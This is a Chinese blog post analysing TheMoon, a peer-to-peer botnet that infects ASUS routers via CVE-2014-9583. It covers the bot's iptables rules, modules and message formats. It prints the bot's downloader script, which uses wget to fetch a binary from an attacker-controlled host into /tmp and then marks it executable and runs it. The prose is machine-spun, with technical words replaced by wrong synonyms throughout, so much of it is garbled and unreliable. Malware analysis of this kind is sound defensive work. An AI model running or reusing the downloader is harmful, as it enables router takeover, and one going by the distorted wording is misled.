当前位置:首页 > 电脑常识 > 正文

分析传染华硕路由器的P2P僵尸网络措施TheMoon 8090安适门户

11-22 电脑常识


在这篇文章中,我们将对一个传染华硕路由器的P2P僵尸网络措施(bot)进行分析。
下图是操作wireshark抓包捕获的僵尸措施打击流量,可看出僵尸措施使用了CVE-2014-9583缝隙操作代码。

CVE-2014-9583 :ASUS WRT是华硕(ASUS)公司的一个路由器固件。RT-AC66U、RT-N66U等多款路由器中使用的ASUS WRT的infosvr中的common.c文件中存在安适缝隙,该缝隙源于措施没有正确查抄请求的MAC地点。长途打击者可通过向UDP 9999端口发送NET_CMD_ID_MANU_CMD数据包操作该缝隙绕过身份验证,执行任意命令。详情参见GitHub
以下是bot从网站:80/ 自动下载的nmlt1.sh文件内容
#!/bin/sh
cd /tmp
rm -f .nttpd
wget -O .nttpd ,17-mips-le-t1
chmod +x .nttpd
./.nttpd
路由器将会从打击者控制的网站上自动下载并执行.nttpd文件,.nttpd运行后将成为驻留进程。以下为.nttpd文件哈希信息

该bot措施属于TheMoon恶意软件系列,措施布局如下:

该bot措施主要差别在于os_init和 run_modules函数,os_init中插入了8个iptables法则:

为了获得传染设备的绝对控制权,防备重复传染,此中第一条法则通过封锁端口9999,阻止其它打击者操作华硕CVE-2014-9583缝隙;第二条法则是封锁多个端口,阻止其它打击者操作D-Link的一个长途命令执行缝隙。其余为bot措施成立的网络通信法则。
在run_modules中,bot加载了3个模块:CLK 、NET、DWL,我们依次来做分析:
CLK模块
该模块加载了两个线程,一个用来计时,一个用来同步,它通过盘问果然NTP处事器连结UTC时间。抓包发明bot与NTP处事器之间的请求回应流量

Net模块
该模块开启了UDP 5143端口,并创建了一个P2P通信线程。值得注意的是,与凡是的端口通信差别,该bot措施撑持3种不特定的动静类型。
Register message
RegisterTo  message
FetchCommand message
每种类型都包罗不异的头布局:
Offset     Size      Description
0            1       Body length
1            1       Message Type
2            1       TTL
3            1       0x8F (variant specific)
当bot接收到动静时,TTL值以1递减,并把动静转发给其它对等结点(peer),下图为向其它peer节点转动员静的底层代码

Register message(注册动静)
该动静类型符号为0,当所有模块加载完毕,动静将被转发给其它对等网络,包孕iptables法则中的其它网络:



动静体由两个双字字符串构成,此中0x6d6163f4为特定变量,而00000xx为对等网络值。在转发完该动静类型之后,bot措施会自动把发送方添加为自身对等结点(peer),以此扩大流传传染面。
RegistertTo message(判断动静)
该动静类型符号也为0,但动静体为12个字节。如果第三个双字字符不为0,措施将会向特定IP发送register message动静进行注册。否则,将会向发送方连续请求register message,连结通信。下图为bot措施接收到的Register To动静流量包

FetchCommand message (控制动静)
该动静类型符号为1,动静体布局如下:
Offset      Size            Description
0           4               Peer IP address
4           4               Command id
8           4               Command size (Maximum 0x19001)
12          n               file name(n8)
以下为bot接收到的FetchCommand动静流量包

之后,bot措施会把动静内容储存在Pending Command内为后续DWL模块使用:
Struct PendingCommand
{
DWORD ip;
DWORD cmd_id;
DWORD cmd_size;
CHAR filename[8];
};
DWL模块
该模块创建读取PendingCommand内容的进程,之后,措施通过TCP 4543端口向特定IP发送请求文件名和命令ID:

特定IP返回请求文件,bot储存响应信息并执行文件。下图为请求执行过程的底层实现代码:

总结
TheMoon恶意软件于2014年被SANS发明,主要以路由器为方针,操作缝隙植入传染。从底层代码来看,TheMoon还以华硕(ASUS)和 Linksys路由器为特定方针。通过分析可以看出,TheMoon使用iptables法则进行通信的P2P传染机制还不太成熟,此外,其不加密的通信可被等闲发明和分析。

温馨提示: 本文由杰米博客推荐,转载请保留链接: https://www.jmwww.net/file/pc/13374.html

博客主人杰米WWW
杰米博客,为大家提供seo以及it方面技巧喜欢的朋友收藏哦!
  • 11365文章总数
  • 1378074访问次数
  • 建站天数
  •